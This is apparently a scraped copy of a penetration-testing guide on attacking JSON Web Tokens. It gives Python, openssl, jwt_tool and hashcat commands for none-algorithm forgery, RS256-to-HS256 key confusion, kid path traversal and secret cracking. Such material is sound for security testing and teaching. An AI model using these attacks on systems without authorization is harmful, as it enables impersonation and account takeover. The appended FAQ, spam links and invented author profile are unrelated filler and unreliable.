Insecure JSON Web Tokens | The Hacker Recipes (2024)

Theory

Some web applications rely on JSON Web Tokens (JWTs) for stateless authentication and access control instead of stateful ones with traditional session cookies. Some implementations are insecure and allow attackers to bypass controls, impersonate users, or retrieve secrets.

Practice

Testers need to find if, and where, the tokens are used. A JWT is a base64 string of at least 100 characters, made of three parts (header, payload, signature) separated by dot, and usually located in Authorization headers with the Bearer keyword. See the the following example.

Authorization: Bearer eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]

Once the tokens are found, testers need to assess their implementation's security by attempting some known attacks and flaws.

Sensitive data

JWTs are just base64 encoded data. They may contain sensitive unencrypted information.

Signature attack - None algorithm

Testers need to decode the token, change the algorithm to None (or none, NONE, nOnE) in the header, remove the signature, and send the modified token. Some applications are vulnerable to this attack since some support a None algorithm for signature.

This can be done in Python.

python

import jwtold_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'old_token_payload = jwt.decode(old_token, verify=False)new_token = jwt.encode(old_token_payload, key='', algorithm=None)print(new_token)

If the token is accepted by the web app, it means the payload can be altered.

python

import jwtpayload = {'key1':'value1', 'key2':'value2'}token = jwt.encode(payload, key='', algorithm=None)print(token)

Signature attack - RS256 to HS256

If the algorithm used to sign the payload is RS256, testers can try to use HS256 instead. Instead of signing the JWT payload with a private key, using HS256 will make the web app sign it with a public key that can sometimes be easily obtained.

Some applications re-use their TLS certificate for JWT operations. The TLS certificate's public key used by a server can be obtained with the following command.

bash

echo | openssl s_client -connect $TARGET:443 | openssl x509 -pubkey -noout > pubkey.pem

The following Python code can be used to identify if the web application is vulnerable to this attack.

python

import jwtold_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'old_token_payload = jwt.decode(old_token, verify=False)public_key = open('pubkey.pem', 'r').read()new_token = jwt.encode(old_token_payload, key=public_key, algorithm='HS256')print(new_token)

If the token is accepted by the web app, it means the payload can be altered.

The jwt library imported in the following Python code raises an exception when attempting to use an asymmetric key or x509 certificate as an HMAC secret. Testers need to install version 0.4.3 pip/pip3 install pyjwt==0.4.3.

python

import jwtpublic_key = open('pubkey.pem', 'r').read()payload = {'key1':'value1', 'key2':'value2'}token = jwt.encode(payload, key=public_key, algorithm='HS256')print(token)

Signature attack - KID header path traversal

The kid (Key ID) is an optional parameter specified in the JWT header part to indicate the key used for signature validation in case there are multiple ones.

The structure of this ID is not specified and it can be any string value (case-sensitive).

The last part is interesting because, if the parameter is vulnerable to directory traversal, this would allow to perform path traversal and point to a file path/file with content we can guess or known somehow, and use its content as the value of the signing key.

"JWT authentication bypass via kid header path traversal" PortSwigger lab provides more insight on this technique.

There are a bunch of files in /sys that are basically flags. Like the flag that says if ftrace is enabled is either 0 or 1. So the attacker just creates 2 tokens with that as the key and one of them will work!

(By Intigriti on Twitter)

The example mentioned above is located at /proc/sys/kernel/ftrace_enabled

In some cases, using the trick above will not work, as the file is listed with a size of 0, and some apps could check that the signature file is not empty.

python

>>> import os>>> os.path.getsize("/proc/sys/kernel/ftrace_enabled")0

Alternatively, other file could be used:

  • some have a content that rarely changes (e.g. old configuration files like/etc/host.conf, /etc/xattr.conf, ...)
  • some have a predictable content (e.g. /etc/hostname, JS files in /var/www/html, ...)
  • some return an empty string (e.g. /dev/null) effectively allowing to bypass the signature validation, meaning an empty key could be used for signature.

python

import jwt, ospayload = {'key1':'value1', 'key2':'value2'}with open("path/to/file", 'r') as file: data = file.read()token = jwt.encode(payload, key=data, algorithm='HS256', headers={"kid": "../../../path/to/file"})print(token)

If Burp is used to craft the JWT token, a symmetric key with value of the k property in the JWT equal to AA== (base64 value of null byte) must be created.

The same secret value is to be used on jwt.io.

Cracking the secret

When JWT uses HMAC-SHA256/384/512 algorithms to sign the payload, testers can try to find the secret if weak enough.

JWT tool (Python3) can be used for this purpose.

bash

# crack the secret using dictionnary attackjwt_tool.py -v -C -d $wordlist_file "$JWT_value"# use the secret to tapmer (-T option) the token# running this command will show up a menu to choose the value to tamper# the result token will be signed with the submited secret using the specified singing algorithm "alg" (hs256/hs384/hs512 = HMAC-SHA signing).jwt_tool.py -v -S $alg -p "$secret" -T "$JWT_value"

JWT secrets can also be cracked using hashcat (see the AD credential cracking page for more detailed info on how to use it).

bash

hashcat --hash-type 16500 --attack-mode 0 $JWTs_file $wordlist_file

Recovering the public key

In certain scenarios, public keys can be recovered when knowing one (for algos ES256, ES384, ES512) or two (for algos RS256, RS384, RS512) tokens.

This can be achieved with the following Python script : JWT-Key-Recover

Resources

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

https://blog.imaginea.com/stateless-authentication-using-jwt-2/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token

https://jwt.io/

https://portswigger.net/web-security/jwt

https://systemweakness.com/deep-dive-into-jwt-attacks-efc607858af6

Insecure JSON Web Tokens | The Hacker Recipes (2024)

FAQs

Can a JWT token be hacked? ›

There is actually a pretty good reason for this wide adoption and that is, for the most part, security and resilience. However, just like any technology, JWT is not immune to hacking.

How secure are JSON Web tokens? ›

Information exchange: JWTs are a good way of securely transmitting information between parties because they can be signed, which means you can be certain that the senders are who they say they are.

Can you spoof a JWT token? ›

Tampering and Forgery: If an attacker can modify the contents of a JWT (e.g., by spoofing, changing the claims or the signature), they can potentially gain unauthorized access to resources or escalate their privileges.

What is the JWT secret key? ›

A user provides their credentials (e.g., username and password) and sends them to the server. The server validates the credentials. If they are correct, the server generates a JWT containing the user's information (in a claim) and signs it with a secret key. The server sends the JWT back to the user.

How to decode a JWT token? ›

JWT Decoder
  1. *First, remember that JWTs are tokens that are often used as the credentials for SSO applications. ...
  2. Grab a JWT (RFC 7519) you want to decode. ...
  3. Paste the JWT into the first text box.
  4. Press the Decode button.
  5. Read the decoded outputs for the header and payload!

Can you decode a JWT without secret? ›

With all this in mind, remember that anyone can decode the information contained in a JWT without knowing the private keys. For this reason, you should never put secret information like passwords or cryptographic keys in a JWT.

Why are JWTs bad for authentication? ›

JWTs which just store a simple session token are inefficient and less flexible than a regular session cookie, and don't gain you any advantage. The JWT specification itself is not trusted by security experts. This should preclude all usage of them for anything related to security and authentication.

Can JWTs be tampered with? ›

Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT. Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .

What are the weaknesses of JWT? ›

Lack of Encryption

One of the most significant weaknesses of JWTs is their lack of encryption. JWTs are designed to be compact and self-contained, which means that the data within them is not encrypted. While they can be signed to ensure data integrity, sensitive information within a JWT remains exposed in plaintext.

Is it possible to fake a JWT token? ›

JSON Web Tokens

Each JWT is cryptographically signed, so it's easy to verify that it is legitimate. An API user can't just make up their own JWT and use it to access the API because that user won't have access to the secret key used to generate the correct JWT signature.

What happens if someone steals JWT? ›

A stolen JWT can be used to impersonate the user. The presence of bad actors that are using the system that you want to stop are a more general case. For example scammers could have registered without stealing the token but once you detect them you want to lock them out.

How do you tell if a token is a JWT? ›

A JSON Web Token (JWT) includes three sections with a . (dot) delimiter between them. The key ID, kid , and the RSA algorithm, alg , that Amazon Cognito used to sign the token. Amazon Cognito signs tokens with an alg of RS256 .

How to generate access token secret? ›

How to generate an access token? To generate an access token, you will need a client secret. If you do not have a client secret yet, check the guide on creating an API client here. If you already have a client secret, use the "Generate Access Token API" as documented below.

How to get a JWT token from a browser? ›

Here are the steps:
  1. Create a login form or any authentication mechanism to allow users to enter their credentials.
  2. When the user submits the form, your application should send a request to the server.
  3. The server validates the user's credentials and generates a JWT token.
Nov 27, 2023

How to generate a key for JWT? ›

Generate JWT Keys
  1. openssl genrsa -out ./private.key 4096.
  2. ssh-keygen -t rsa -b 4096 -m PEM -f private.key.
  3. openssl rsa -in private.key -pubout -outform PEM -out public.key.
  4. ssh-keygen -f private.key -e -m PKCS8 > public.key.

What are the risks of JWT tokens? ›

The absence of encryption in JWT tokens exposes them to information leakage, potentially compromising user privacy when decoded. Attackers can intercept and decode JWT tokens, gaining access to sensitive user data stored within the payload.

How do I stop JWT from being stolen? ›

  1. don't store them in local or session storage, only in memory.
  2. keep their lifetime short, for example 5min.
  3. put multiple identifiers i to the token, for example the users ip address. If the request containing the token comes from another ip, reject it.
May 18, 2024

Can hard tokens be hacked? ›

More severe breaches

Although it's more difficult to steal or replicate a hard token, a stolen hard token can cause a more severe security breach. Most users will have a single hard token that provides access to multiple systems. One compromised hard token often compromises multiple systems.

Is JWT token hashed or encrypted? ›

A JWT is a type of authentication token widely used to share information between client and server. It's important to note that a JWT does not guarantee data encryption. Since JWTs are encoded, not encrypted, the JSON data you store can be seen by anyone intercepting them.

Top Articles
The Disney Strategy
Moving Bee Hives Short or Long Distances
Duna To Kerbin Transfer Window
Amy Davis No Wedding Ring
Mtlsd.schoology
Best Restaurants In White Rock Bc
Southeast Iowa Buy Sell Trade
Royal Cuts Kentlands
Pacific Sales Kitchen & Home Ontario
Remnant Graveyard Elf
Hannah Palmer Of Leaked
Craigslist Pet Phoenix
Dr Manish Patel Mooresville Nc
Miami Valley Harness Picks
Fab Last Minute Cruises
bienfaits, cuisine, risques... tout ce qu'il faut savoir !
TNT Tuesday Morning 09-03-2024
‘Justified: City Primeval’ Closes Out With Epic Twist: “It Was a Dangerous Idea”
Macaulay Culkin & Brenda Song: From Private Romance to Family of Four
Dekalb County Jail Fort Payne Alabama
Hours Of Chase Bank Near Me
10 Facts You Never Knew about Gene Rayburn
The Autopsy Report: Overview, Suggested Autopsy Report Headings, An Overview of the Autopsy Report
Tierra De Esperanza Capítulo 46 Tokyvideo
Craigs List Rochester
Inbanithi Age
Craigslist Louisiana Cars And Trucks - By Owner
Taft schoenenwinkel amstelveen - Schoenen kopen? De beste merken 2024 vergelijken en bestellen op beslist.nl
97226 Zip Code
Watermarke Tower Shooting
Heather Mestdagh Obituary
What Happened To Ed Hanna Wfmz
Craigslist Cars Humboldt
University of Kentucky · Uk Turfland Clinic Pharmacy · 2195 Harrodsburg Rd, Room T1636, Lexington, KY 40504-3504 · Pharmacy
Craigslist Tampa Com
Arabella Chi tit*
Ups Locations Massachusetts
2000 Ford F-150 for sale - Scottsdale, AZ - craigslist
The Weather Channel - Radar
24Hrs Mcdonalds Near Me
Ozembique
Maragough28
Pmrank 2022
8 1944 1945 Jerome Weidman Playwright Skippy Adelman Old Photo Negative Lot 393A for Sale
Goodwoods British Market Friendswood
Neighborly Love by Nova Ride
Yosemite Sam Hood Ornament
Oriellys Albertville
65 snow quotes guaranteed to warm your heart this winter
Craigslist Gigs Wichita Ks
Funbox Lone Tree Tickets
Onelook Com Thesaurus
Latest Posts
Article information

Author: Virgilio Hermann JD

Last Updated:

Views: 5869

Rating: 4 / 5 (61 voted)

Reviews: 84% of readers found this page helpful

Author information

Name: Virgilio Hermann JD

Birthday: 1997-12-21

Address: 6946 Schoen Cove, Sipesshire, MO 55944

Phone: +3763365785260

Job: Accounting Engineer

Hobby: Web surfing, Rafting, Dowsing, Stand-up comedy, Ghost hunting, Swimming, Amateur radio

Introduction: My name is Virgilio Hermann JD, I am a fine, gifted, beautiful, encouraging, kind, talented, zealous person who loves writing and wants to share my knowledge and understanding with you.